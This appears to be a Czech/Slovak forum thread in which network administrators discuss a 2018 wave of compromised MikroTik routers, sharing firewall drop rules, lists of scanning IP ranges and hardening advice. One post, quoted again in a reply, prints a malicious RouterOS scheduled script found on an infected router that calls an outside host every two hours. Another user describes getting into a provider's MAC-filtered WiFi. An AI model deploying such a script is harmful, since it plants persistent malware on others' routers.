MikroTik - BEZPECNOSTNI UPOZORNENI !!! DULEZITE - zablokovane MikroTiky

mpcz

Kdyby to omezovalo ip nezačlo by se to přes winbox připojovat. Ale tady rovnou winbox hodí hlášku - ERROR: wrong username or password

videl jsem na nekterych MT, ze uzivatelum byly definovany site, ze kterych se mohou prihlasit. Takze i kdyz mas heslo, nepripojis se.

Na jedne desce byl jen uzivatel system s povolenym prihlasenim z 23.0.0.0/8...

ja mluvil o nastaveni povolenych siti v profilu uzivatele. Nejprve se musi na winbox pripojit a ten pak teprve po zjisteni jmena (a mozna i hesla) rekne, ze uzivatele nechce prave kvuli tomu, ze se nepripojil z povolene site. Jak ta hlaska vypada nevim ale nedivil bych se kdyby byla stejna jako pri spatnem hesle.

Ano, kolega DT má pravdu, toto mám i ověřeno. V několika verzích, které se podařilo odemknout se to přesně takto chovalo. "Povolená" IP a kombinace U/H byla samozřejmě různá. mpcz, 25.8.2018

machca

Dnes ráno jsem měl přihlášení k verzi 6.42.7 zapomněl jsem změnit jedno heslo uživatele read, přidány nějaké statické DNS záznamy a bravurně se hned přihlásil všemi třemi loginy na první dobrou, takže wft ?

Všechny MK kde byly tyto 2 pravidla

add action=drop chain=forward connection-nat-state=!dstnat connection-state=new in-interface=wan

add action=drop chain=input in-interface=wan

bez nákazy.

machca

vim no moje blbost, s tim userem, jo záznam v logu, přistoupeno přes API, jak se mi to jen mohlo stát, dříve jsem přistupoval přes mobil Tikapp.

A nebo je to schválně, abychom používali nejnovější verze ROS

the_max

Tak dnes odpoledne pozoruji zvýšenou aktivitu s pokusy o přístup do sítě z IP adres, které tu byly po různu uvedeny v souvislosti s nákazou. Zatím to vypadá tak, že to zkouší skenovat veřejky, resp. že to zkouší se rovnou připojit na vysoké porty a když se nezadaří, tak zkusí následující vyšší port. Všiml si toho také někdo?

soooc

Já spíš pozoruju vyšší aktivitu na portu 80 - snaha shodit služby na daném stroji.

petrbacina

Je fakt, že dneska toho leze nějak víc a zkouší to na standardní porty winboxu. Projíždí a postupně zkouší všechny IPčka co máme. Hezky popořadě.

IP: 185.154.205.0/24, 185.211.68.0/24, 185.211.69.0/24, 185.211.70.0/24, 185.211.74.0/24, 212.225.227.0/24

robotvor

Je fakt, že dneska toho leze nějak víc a zkouší to na standardní porty winboxu. Projíždí a postupně zkouší všechny IPčka co máme. Hezky popořadě.

IP: 185.154.205.0/24, 185.211.68.0/24, 185.211.69.0/24, 185.211.70.0/24, 185.211.74.0/24, 212.225.227.0/24

Řeší něco když se tyto rozsahy bloknou na hraničním routeru na forwardu in interfaces konektivita ?

petrbacina

Jo tak to nevím. Ale GW máme nastavenou tak, že i když má někdo nastavenou veřejku, tak blokujeme alespoň ty základní věci jako ICMP,20,21,22,23,80,443,2000,8080,8291 atd.. DROP pravidla jednou pořád čítače se plní, všechno schytává naše GW, ale na klienty už nic z toho nejde. Ještě před kauzou "děravý Mikrotik" jsem tímhle řešil "ochranu" pro domácí TPLinky, Netise atd. Jakmile se na ně poslala veřejka, tak se routery během chvíle sesypaly a minimálně WEB rozhraní přestávalo pracovat. Od zavedení těch DROPů je klid a vše jede jak má.

the_max

můžeš sem hodit IPčka, ze kterejch to chodí? Já tu aktuálně vidím:

5.101.40.252

122.228.10.50

185.156.177.24

185.169.231.209

198.108.66.60

198.108.66.61

Celou dobu to chodí z té první adresy a k tomu chvíli ještě nějaká další, ale jen pár minut, pak jde zase jiná. Ale ta první je tam pořád.

Já tu ve vláknech nasbíral pár IPček ze screenshotů a bloknul jsem celej /24 v inputu a forwardu s tím, že si to loguju.

noxus28

za dnes pribudlo:

45 D 8291_WAN_atrmp 217.182.192.21

46 D 8291_WAN_atrmp 95.59.127.4

47 D 8291_WAN_atrmp 206.189.185.20

48 D 8291_WAN_atrmp 188.127.251.61

50 D 8291_WAN_atrmp 139.60.161.74

bežne:

5 D 8291_WAN_atrmp 173.255.200.214

9 D 8291_WAN_atrmp 95.154.216.150

10 D 8291_WAN_atrmp 78.38.84.85

15 D 8291_WAN_atrmp 5.101.6.170

16 D 8291_WAN_atrmp 185.53.91.23

29 D 8291_WAN_atrmp 93.174.93.218

31 D 8291_WAN_atrmp 106.75.64.59

32 D 8291_WAN_atrmp 195.133.196.145

34 D 8291_WAN_atrmp 111.77.101.151

35 D 8291_WAN_atrmp 178.128.26.75

38 D 8291_WAN_atrmp 80.50.125.170

vyhádzal som tie čo mám v /16 rozsahu - bohužiaľ nejaký Irán Turecko či ký parom +-60 adries

pepulis

A proc nezakazete vse a nepovolite si jen sve ip adresy z WAN na 20-24, 8291 apod.? Neni to prace navic, udrzovat nejaky adress list utocicich rozsahu? Takhle to musite kontrolovat / logovat a doplnovat ....

puchnar

souhlas povolit pouze svoje IPčka a třeba zadní vrátka v případě nouze (potřeby připojti se odjinud) např. povolit rozsah IPček mobilních dat operátora atp ....

noxus28

a kto písal že má niečo z von povolené? ja si pred dropom logujem pokusy. Pár krát som už našiel slovenské vysoké školy alebo malú firmu ktorých ak nájdem kontakt tak upozorním na exploit a potrebu aktualizovať a zabezpečiť tik.

tespie

Do dneška někteří WiFi provideři nemají aktualizované RouterOS a WiFi mají "zabezpečenou" mac filtrem. Více na https://tespie.webnode.cz/l/hack-poskytovatele-wifi-internetu/ (Grafiku omluvte, to se dodělá).

joker

Ty ses ale hacker, kdyby ten ISP podal trestni oznameni co bys delal ;-)

Ale k veci: v tom mikrotiku nejde nastavit automaticky update, jde napsat skript aby se provadel auto update?

wwire

Tak jeden z hacknutých strojů - vyrobilo to na něm radius z IP 47.75.230.175, udělalo si to PPTP tunel, maskaradu a trada, pokračujeme dál v šíření přes jinou veřejku.

A tohle spouští co 2 hodiny.

/system script

add name=ip owner=admin policy=\

reboot,read,write,policy,test,password,sniff,sensitive source="{/tool fetch \

url=(\"http://www.boss-ip.com/Core/Update.ashx\\\?key=5bc24d5c0d21bf27&actio\

n=upload&sncode=71781B0A642C438240A3A06C93DA3D3D&dynamic=static\") keep-res\

ult=no}"

robotvor

Tak jeden z hacknutých strojů - vyrobilo to na něm radius z IP 47.75.230.175, udělalo si to PPTP tunel, maskaradu a trada, pokračujeme dál v šíření přes jinou veřejku.

A tohle spouští co 2 hodiny.

/system script

add name=ip owner=admin policy=\

reboot,read,write,policy,test,password,sniff,sensitive source="{/tool fetch \

url=(\"http://www.boss-ip.com/Core/Update.ashx\\\?key=5bc24d5c0d21bf27&actio\

n=upload&sncode=71781B0A642C438240A3A06C93DA3D3D&dynamic=static\") keep-res\

ult=no}"

Verze MK ? v IP/services bylo zaplé co ? veřejná nebo privátní IP?

cerva

Do dneška někteří WiFi provideři nemají aktualizované RouterOS a WiFi mají "zabezpečenou" mac filtrem. Více na https://tespie.webnode.cz/l/hack-poskytovatele-wifi-internetu/ (Grafiku omluvte, to se dodělá).

A? Stejně tak mají "do dneška" lidi doma SOHO routery s děravým FW, na webu leží tuna webů běžících na děravém wordpressu, Wannacry by se na aktualizovaných Windows taky tolik nerozšířil, stejná pohádka v případě motherfuckera na Ubiquiti. Je na každém a jeho nejlepším vědomí a svědomí (a rozpočtu a schopnostech) udržet svou síť bezpečnou.

Je super někoho upozornit na zranitelnost, ale fakt nechápu tón, jakým to bylo vedeno, úplně jsem na konci mailu čekal žádost o výkupné

BTW: Jak poznáš přepálený výkon na boardu, který nemá integrovanou anténu a ty tak neznáš parametry pro výpočet EIRP?

tespie

Tak já vím, že jsem to "hacknul" ;), nemám důvod škodit, jen jsem ho upozornil. Ten screen byl z jiného AP (na něj jsem se napojil), jiná (SXT) měla přepálený výkon - zjistil jsem si anténu podle typu na netu. Podle stanic na ap tam byly jen MikroTiky, takže WPA2 by pro ně problém nebyl (Jo, museli by to na klientech nastavit - cca. 8 zařízení) a přes něj bych se tam nedostal. Takhle jsem to napsal nachvál, nebudu psát anonymně stejným stylem jako normálně.

mpcz

Zdravím, v jednom MKT s VIP se zaplňuje log cizími pokusy o připojení do zde běžícího VPN serveru. VPN legálních klientů je tam hodně, proto by mě zajímala co nejjednodušší metoda (vzhledem k počtu klientů), jak ty pokusy blokovat, aby neucpávaly log. Je nějaká možnost jednoduše a globálně změnit port VPN v tomto systému? Děkuji, mpcz, 2.sep.2018

« Předchozí stránka Další stránka »